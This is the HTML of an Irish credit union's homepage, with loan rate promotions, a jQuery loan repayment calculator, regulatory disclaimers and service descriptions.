<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright1-1" alt="Credit-Union-Calculator" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg" title="iconright1-1" alt="Credit-Union-Calculator"></noscript>
<img class="hover" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright1-1" alt="Credit-Union-Calculator" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg"><noscript><img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg" title="iconright1-1" alt="Credit-Union-Calculator"></noscript>
</div>
<a href="https://www.clcu.ie/loans/#calculator" title="Loan Calculator">Loan Calculator</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright2-1" alt="Apply-For-Credit-Union-Loan" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan"></noscript>
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</div>
<a href="https://www.clcu.ie/loans/#apply-loan-main" title="Apply for a Loan">Apply<br>for a Loan</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright3-1" alt="Contact Your Credit Union" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright3-1.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright3-1.svg" title="iconright3-1" alt="Contact Your Credit Union"></noscript>
<img class="hover" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="iconright3-1" alt="Contact Your Credit Union" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg"><noscript><img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg" title="iconright3-1" alt="Contact Your Credit Union"></noscript>
</div>
<a href="https://www.clcu.ie/faqs/" title="FAQ">FAQ</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="email" alt="Credit Union Kildare Email" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg"><noscript><img class="active" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email"></noscript>
<img class="hover" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="email" alt="Credit Union Kildare Email" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg"><noscript><img class="hover" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email"></noscript>
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<a href="https://www.clcu.ie/contact/" title="Get in touch">Get<br>in touch</a>
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<h1 class="h1_hide">Croí Laighean Credit Union</h1>
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We're dropping our Mortgage Rates!
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<p>Yes, that’s right! We’re DROPPING our mortgage rates. New rates from 3.75% (3.81% APR).</p>
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Credit Union Christmas Loan
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One 4 One Loan
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<p>Borrow up to €1,000 for up to 1 year with a low-interest rate of just 6.73% (6.95% APR).</p>
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Get a 232 <br>for 5.5%
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<p>Get that new car feeling with our <strong>lowest-ever</strong> car loan rate of 5.5% (5.64% APR).</p>
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<p>Always the right cover at the best possible price, every year!</p>
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Give Your Bank The Boot!
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Our New <br>Green Loan
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<p>Good for the environment. Better for your pocket.</p>
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<h4>Great value loans</h4> </div>
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interest calculated on reducing loan balance </div>
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<h4>Over €<span class="counter">53</span> million</h4> </div>
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borrowed by members in 2021/22 </div>
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<h4><span class="counter">99</span>%</h4> </div>
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Loan approval rate </div>
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<h2>Your Local Credit Union Serving Offaly & Kildare</h2>
<p>Serving Offaly & Kildare, Croí Laighean Credit Union has a friendly approach to modern finance. We may work with figures all day, but you’ll always be more than a number. Our award winning customer service is both personal and professional because our members are at the heart of everything we do.<br><br>
As a not-for-profit Credit Union, we make it simple to borrow and to save for the future, with convenient savings, financial guidance and the best loan rates in the locality. If you're looking for a great value loan, use our handy calculator below.
<br><br><b><i>If you're not a member, don't worry! We made it simple and you can apply for a loan and join Croí Laighean Credit Union at the same time!</i></b></p>
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<h4><strong><em>To view our new lower mortgage rates, <a href="https://www.clcu.ie/credit-union-mortgages/">please click here</a>.</em></strong></h4>
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<div class="lontype_title">Loan Type</div>
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<option value="1">Green Loan</option><option value="2" selected>Car Loan</option><option value="3">PCP Buster</option><option value="4">Community Loan</option><option value="5">Consolidation Loan</option><option value="6">Covered Loan</option><option value="7">Home Improvement Loan</option><option value="8">One 4 One Loan</option><option value="9">Standard Personal Loan</option><option value="10">Student Loan</option><option value="11">5 Year Fixed Loan</option><option value="12">7 Year Fixed Loan</option><option value="13">10 Year Fixed Loan</option> </select>
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<div class="calc_bar">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term"></noscript>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term"></noscript>
<div id="sliderTerm"></div>
</div>
</div>
</div>
</div>
<div id="Results" class="Results calc_right">
<div class="result_title"><input type="text" id="apr" name="apr" value="7.76% APR" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible"></div>
<ul id="sliderValuesList" name="sliderValuesList">
<li>
<span id="spanWeek" name="spanWeek"><span id="spanWeekText" class="spanTermText">Weekly</span>
<input type="text" name="paymentSliderWeekly" id="paymentSliderWeekly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotal" name="spanWeekTotal"><span id="spanWeekTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalWeekly" name="paymentSliderTotalWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotalInterest" name="spanWeekTotalInterest"><span id="spanWeekInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestWeekly" name="paymentSliderTotalInterestWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="span2Weeks" name="span2Weeks"><span id="span2WeeksText" class="spanTermText">Fortnightly</span>
<input type="text" name="paymentSlider2Weeks" id="paymentSlider2Weeks" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotal" name="span2WeeksTotal"><span id="span2WeeksTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotal2Weeks" name="paymentSliderTotal2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotalInterest" name="span2WeeksTotalInterest"><span id="span2WeeksInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterest2Weeks" name="paymentSliderTotalInterest2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="spanMonth" name="spanMonth"><span id="spanMonthlyText" class="spanTermText">Monthly</span>
<input type="text" name="paymentSliderMonthly" id="paymentSliderMonthly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotal" name="spanMonthTotal"><span id="spanMonthlyTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalMonthly" name="paymentSliderTotalMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotalInterest" name="spanMonthTotalInterest"><span id="spanMonthlyInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestMonthly" name="paymentSliderTotalInterestMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
</ul>
<div id="divSliderApplyButton">
</div>
</div>
<div class="apply-now">
<a id="applylinks" title="Apply Now" href="https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5type=Car Loan&apr=7.76">Apply Now</a>
</div>
<div class="annual_percentage">APR means Annual Percentage Rate. The repayment amount quoted is for illustrative purposes only, to provide you with an overview of the potential cost of borrowing. Restrictions may apply. </div>
</div>
</div>
<input type="hidden" id="aprvals" value="7.76" />
<input type="hidden" id="intervals" value="7.5" />
<script type="text/javascript">
jQuery(document).ready(function () {
//setCookie('loan_name','Car Loan',30);
localStorage.setItem('loan_name', 'Car Loan');
var globalLoanInterestRate = Number(7.5 );
var globalLoanAPR = Number(7.76 );
term_months(Number(1),Number(84 ),Number(48),globalLoanAPR,globalLoanInterestRate);
amount_slide(Number(500),Number(100000 ),Number(12000),globalLoanAPR,globalLoanInterestRate);
calculateSliderValues(globalLoanAPR,globalLoanInterestRate,Number(12000),Number(48));
var urls = "https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5&type="+jQuery('.selectloantype option:selected').text()+"&apr=7.76";
console.log(urls);
jQuery( ".selectloantype" ).change(function() {
ajaxcals(jQuery(".selectloantype").val());
});
});
function ajaxcals(ids){
jQuery.ajax({
url: "https://www.clcu.ie/wp-content/themes/croi-laighean/calculator-ajax.php",
type: "post",
dataType: 'json',
data : {action : 'caldetails',ids:ids,cals:'cals'},
success: function(result){
if(result.sucreg == '1'){
term_months(Number(result.minv_term),Number(result.maxv_term),Number(result.defv_term),Number(result.apr),Number(result.inter));
amount_slide(Number(result.minv_amount),Number(result.maxv_amount),Number(result.defv_amount),Number(result.apr),Number(result.inter));
jQuery("#intervals").val(result.inter);
jQuery("#aprvals").val(result.apr);
jQuery("#apr").val(result.apr+"% APR");
calculateSliderValues(Number(result.apr),Number(result.inter),Number(result.defv_amount),Number(result.defv_term));
localStorage.setItem('loan_name',result.loan_name);
} else {
alert('Something went wrong. Try diffrent!');
}
}
});
}
var intAditionalChargeWeekly = 0;
var intAditionalChargeFortnightly = 0;
var intAditionalChargeFourWeekly = 0;
var intAditionalChargeMonthly = 0;
var intAditionalCharge = intAditionalChargeWeekly
var intRoundingType = 0;
var intAvailableMethods = 3;
function term_months(minv,maxv,defv,apr,inter){
jQuery("#term").val(defv);
jQuery("#sliderTerm").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 1,
value: defv,
slide: function(event, ui) {
jQuery("#term").val(ui.value + " months");
varSliderTermValue = ui.value;
calculateSliderValues(apr,inter,jQuery("#sliderAmount").slider("value"),ui.value);
}
});
}
function amount_slide(minv,maxv,defv,apr,inter){
jQuery("#amount").val("\u20ac" + addThousandCommas(defv.toString(), 'false'));
jQuery("#sliderAmount").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 100,
value: defv,
slide: function(event, ui) {
jQuery("#amount").val("\u20ac" + addThousandCommas(ui.value.toString(), 'false'));
calculateSliderValues(apr,inter,ui.value,jQuery("#sliderTerm").slider("value"));
}
});
}
// Global Variables for the Sliders
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
function calculateSliderValues(apr,inter,varSliderAmountValue,varSliderTermValue) {
if(jQuery(".selectloantype").val() == 7){
if(varSliderTermValue >= 60 && varSliderAmountValue >= 25000){
apr = Number('7.76');
inter = Number('7.5');
}
jQuery("#apr").val(apr+"% APR");
}
calculateSliderInclusive("Weekly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Fortnightly",apr,inter,varSliderAmountValue,varSliderTermValue);
calculateSliderInclusive("Monthly",apr,inter,varSliderAmountValue,varSliderTermValue);
}
function calculateSliderInclusive(period,apr,inter,varSliderAmountValue,varSliderTermValue) {
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
//var varSliderTermValue = jQuery("#sliderTerm").slider("value");
var globalLoanInterestRate = inter;
var globalLoanAPR = apr;
blnCalculate = false;
// Calculates the periodic repayment amount
// Get the user's input from the form. Assume it is all valid.
// SLIDER
var principal = parseInt(Number(varSliderAmountValue));
var payments = parseFloat(varSliderTermValue / 12);
var interest;
var time;
var number;
var pperiod;
var principalB = principal;
if (isNaN(varSliderAmountValue)) {
setTimeout('checkPrincipal()', 100);
return false;
}
intrate = globalLoanInterestRate;
var strMonthSingularText = "month";
var strMonthPluralText = "months";
var strYearSingularText = "year";
var strYearPluralText = "years";
if (payments == 1) {
number = " (" + payments + " " + strYearSingularText + ")";
} else if ((payments - Math.floor(payments)) == 0) {
if (payments < 10) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if ((payments >= 10) && (payments < 100)) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 100) {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
} else if (payments < 0.1) {
number = " (" + payments.toPrecision(1) + " " + strYearPluralText + ")";
} else if (payments < 1) {
number = " (" + payments.toPrecision(2) + " " + strYearPluralText + ")";
} else if (payments >= 10) {
number = " (" + payments.toPrecision(4) + " " + strYearPluralText + ")";
} else {
number = " (" + payments.toPrecision(3) + " " + strYearPluralText + ")";
}
//alert(varSliderTermValue);
if (period == "Weekly") {
pperiod = "week";
interest = ((intrate / 365.25) * 7) / 100;
time = pperiod + "s";
payments = payments * 52;
} else if(period == "Fortnightly") {
pperiod = "fortnight";
interest = ((intrate / 365.25) * 14) / 100;
time = pperiod + "s";
payments = payments * 26;
} else if(period == "Four Weekly") {
pperiod = "4 weeks";
interest = ((intrate / 365.25) * 28) / 100;
time = "weeks";
payments = payments * 13;
} else if(period == "Monthly") {
//pperiod = "month";
pperiod = strMonthSingularText;
interest = (intrate / 12) / 100;
//interest = ((intrate / 365.25) * 12) / 100;
if (varSliderTermValue == 1) {
time = pperiod;
} else {
//time = pperiod + "s";
time = strMonthPluralText;
}
payments = payments * 12;
}
IR = interest + 1;
IR = Math.pow(IR, payments);
// Now compute the periodic repayment figure
Fig1 = principalB * IR;
Fig2 = IR - 1;
Fig3 = Fig2 / interest;
monthly = Fig1 / Fig3;
// Now compute the periodic repayment figure (irrespective of rpi)
Fig1B = principal * IR;
Fig2B = IR - 1;
Fig3B = Fig2B / interest;
monthlyB = Fig1B / Fig3B;
// Check that the result is a finite number. If so, display the results
if (!isNaN(monthly) &&
(monthly != Number.POSITIVE_INFINITY) &&
(monthly != Number.NEGATIVE_INFINITY)) {
if (Number(intAditionalCharge) > 0) {
finalRepayment = Number(round(monthly)) + Number(intAditionalCharge);
} else {
finalRepayment = round(monthly);
}
// ROUNDING METHOD
if (intRoundingType == 0) {
// Standard rounding, change nothing
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
} else if (intRoundingType == 1) {
// Round up to the nearest unit
finalRepaymentAfterRounding = Math.ceil(finalRepayment);
//finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge));
finalTotalAfterRounding = Math.ceil(Number(round(monthly * payments)));
finalInterestAfterRound = Math.ceil(round((monthlyB * payments) - principal));
} else {
// Rounding type not specifiec, use standard
finalRepaymentAfterRounding = finalRepayment;
//finalTotalAfterRounding = Number(round(monthly * payments)) + Number(payments) * Number(intAditionalCharge);
finalTotalAfterRounding = Number(round(monthly * payments));
finalInterestAfterRound = round((monthlyB * payments) - principal);
}
if(period == "Weekly") {
document.getElementById('paymentSliderWeekly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalWeekly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestWeekly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Fortnightly") {
document.getElementById('paymentSlider2Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal2Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest2Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Four Weekly") {
document.getElementById('paymentSlider4Weeks').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotal4Weeks').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterest4Weeks').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
} else if(period == "Monthly") {
document.getElementById('paymentSliderMonthly').value = "\u20ac" + addThousandCommas(round(finalRepaymentAfterRounding), 'true');
document.getElementById('paymentSliderTotalMonthly').value = "\u20ac" + addThousandCommas(round(finalTotalAfterRounding), 'true');
document.getElementById('paymentSliderTotalInterestMonthly').value = "\u20ac" + addThousandCommas(round(finalInterestAfterRound), 'true');
document.getElementById('term').value = varSliderTermValue + " " + time + number;
}
// period,apr,inter,varSliderAmountValue,varSliderTermValue
var urls = "https://social.clcu.ie/website-loan-application/?amount="+varSliderAmountValue+"&term="+varSliderTermValue+"&rate="+inter+"&type="+jQuery('.selectloantype option:selected').text()+"&apr="+apr+"";
//console.log(urls);
jQuery("#applylinks").attr("href",urls);
blnCalculate = true;
}
}
function addThousandCommas(num, hasDecimal) {
// Adds a thousand comma to a number where appropriate
varFinal = Number(num).toFixed(0).toString();
hasDecimal = "false";
varNumLen = varFinal.length;
// Check if there is a decimal place
if (hasDecimal == "true") {
varDecimalAmount = 3;
} else {
varDecimalAmount = 0;
}
// Add first thousand comma
if (varNumLen > (3 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (3 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (3 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add second thousand comma
if (varNumLen > (7 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (7 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (7 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add third thousand comma
if (varNumLen > (11 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (11 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (11 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
// Add fourth thousand comma
if (varNumLen > (15 + varDecimalAmount)) {
varFirstHalf = varFinal.substr(0, varNumLen - (15 + varDecimalAmount));
varSecondHalf = varFinal.substr(varNumLen - (15 + varDecimalAmount), varNumLen);
varFinal = varFirstHalf + "," + varSecondHalf;
varNumLen = varFinal.length;
}
return varFinal;
}
function checkPrincipal() {
alert("Please enter an amount that you would like to borrow");
if (document.getElementById('principal') != null) {
document.getElementById('principal').focus();
}
}
function round(x) {
// This simple method rounds a number to two decimal places.
valRounded = Math.round(x * 100) / 100;
valRounded = "" + valRounded + "";
decLoc = valRounded.indexOf(".");
if (decLoc != -1) {
array1 = valRounded.split(".");
if (array1[1].length != 2) {
valRounded = valRounded + "0";
}
} else {
valRounded = valRounded + ".00";
}
return valRounded;
}
function amountDecrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue - 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function amountIncrement() {
var amountCurrentValue = jQuery("#sliderAmount").slider("value");
var amountNewValue = amountCurrentValue + 100;
jQuery("#sliderAmount").slider("value", amountNewValue);
updateValues();
}
function termDecrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue - 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function termIncrement() {
var termCurrentValue = jQuery("#sliderTerm").slider("value");
var termNewValue = termCurrentValue + 1;
jQuery("#sliderTerm").slider("value", termNewValue);
updateValues();
}
function updateValues() {
varSliderAmountValue = jQuery("#sliderAmount").slider("value");
jQuery("#amount").val("\u20ac" + addThousandCommas(varSliderAmountValue.toString(), 'false'));
jQuery("#term").val(jQuery("#sliderTerm").slider("value") + " months");
//changeAPRValue();
calculateSliderValues(Number(jQuery("#aprvals").val()),Number(jQuery("#intervals").val()),jQuery("#sliderAmount").slider("value"),jQuery("#sliderTerm").slider("value"));
}
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
</script>
</div>
<div class="warning_text">
<p><small><strong>Warning: If you do not meet the repayments on your loan, your loan, your account will go into arrears. This may affect your credit rating, which may limit ability to access credit in the future.</strong></small></p>
<p>While every care has been made in the production of this web page, the Credit Union, or any of its staff, cannot be held responsible for any omissions, errors or other mistakes on the site. This calculator is for illustrative purposes only, to give you, the borrower, an overview of the potential cost of borrowing.</p>
<p>Loan amounts and 99% approval rate is based on figures from 2020. Rates are correct as of 1/02/2022 and are subject to change. Croí Laighean Credit Union is regulated by the <a href="http://www.centralbank.ie/" target="_blank" rel="noopener">Central Bank of Ireland</a>.</p>
</div>
</div>
</div>
</div>
</div>
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<div class="tab-pane fade " id="tab_2" role="tabpanel">
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<div class="right_title">Savings</div>
<div class="history-desc"><p>Lay a solid foundation for your future with our savings schemes:</p>
<ul>
<li>Share Account</li>
<li>Family Account</li>
<li>School Savers</li>
<li>Saving Stamps</li>
</ul>
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<div class="right_title">Loans</div>
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<li>Back to school</li>
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<li>Car</li>
<li>Celebrations</li>
<li>Consolidation</li>
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<li>Mortgages</li>
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<div class="right_title">Personal Account</div>
<div class="history-desc"><p>We provide all the benefits of a regular current account, with a more personal approach.</p>
<ul>
<li>Current Account & Mastercard® Debit Card</li>
</ul>
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<div class="right_title">Insurance</div>
<div class="history-desc"><p>Peace of mind with Ireland’s fairest policies, covering Home, Life & Travel Insurance.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/credit-union-insurance/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Foreign Exchange" title="exchange-green" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/exchange-green.svg" alt="Credit Union Foreign Exchange" title="exchange-green"></noscript>
<strong>Foreign Exchange</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Foreign Exchange</div>
<div class="history-desc"><p>Skip the airport queues and tick off your travel checklist with our commission-free foreign exchange service.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/foreign-currency-services/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Bill Payments" title="icons_services_billpayments-red" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/icons_services_billpayments-red.svg" alt="Credit Union Bill Payments" title="icons_services_billpayments-red"></noscript>
<strong>Bill Payments</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Bill Payments</div>
<div class="history-desc"><p>Stay on top of your finances by conveniently paying your bills through us.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/bill-payments/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Online Services" title="cu-online" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/cu-online-1.svg" alt="Credit Union Online Services" title="cu-online"></noscript>
<strong>CU Online & CU Mobile App</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">CU Online & CU Mobile App</div>
<div class="history-desc"><p>Your account at your fingertips, <b>24/7 </b></p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/online-mobile-banking/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Community Fund" title="Community Fund" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/Community-Fund.svg" alt="Community Fund" title="Community Fund"></noscript>
<strong>Community Support</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Community Support</div>
<div class="history-desc"><p>Every year, we give back over <b>€50,000</b> to organisations and schools within our local community.</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/our-community/" title="View More">View More</a></div>
</div>
</div>
<div class="services_col">
<div class="image-box">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Members Draw" title="members-draw-yellow" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/members-draw-yellow.svg" alt="Credit Union Members Draw" title="members-draw-yellow"></noscript>
<strong>Members Draw</strong>
</div>
<div class="inner_hover_content detailsbox">
<div class="right_title">Members Draw</div>
<div class="history-desc"><p>We have <b>€20,000</b> to give away every month in our famous draw — will you be one of the lucky members?</p>
</div>
<div class="view_more"><a href="https://www.clcu.ie/links/members-draw/" title="View More">View More</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-3"></div>
<div class="tab-pane fade " id="tab_3" role="tabpanel">
<div class="res-tab " datarowcolor="#0082c2" style="background-color:#0082c2 " >Why Choose Us</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Why Choose Us</h3>
<p>We combine all the traditional friendliness of a credit union with the modern banking facilities you demand, such as instant, real-time <a href="https://www.clcu.ie/online-mobile-banking/" target="_blank" rel="noopener">online access</a> to your account and our convenient mobile app which lets you manage your finances while on the move.</p>
<p>When you join us, you’ll become part of a community to lean on for help. Croí Laighean Credit Union is not-for-profit so any surplus is channelled into providing members with better products and services, loan rebates, or dividends. We also help our <a href="https://www.clcu.ie/community-support/" target="_blank" rel="noopener">local community</a> flourish through sponsorship initiatives that support schools, organisations and clubs in your area.</p>
<br>
<h4><b>Over the last 7 years we have donated over €728,000 to the local community</b></h4>
<br>
<center><div class="rll-youtube-player" data-src="https://www.youtube.com/embed/5iTb4SBGwMI" data-id="5iTb4SBGwMI" data-query="" data-alt="YouTube video player"></div><noscript><iframe width="560" height="315" src="https://www.youtube.com/embed/5iTb4SBGwMI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></noscript></center>
</div>
</div>
</div>
</div>
<div id="what-we-do-4"></div>
<div class="tab-pane fade " id="tab_4" role="tabpanel">
<div class="res-tab " datarowcolor="#fab500" style="background-color:#fab500 " >Croí Laighean App</div>
<div class="container">
<div class="croilaighean-title-cont">
<h3>Croí Laighean Mobile App</h3>
<div class="feature_row">
<div class="feature_left">
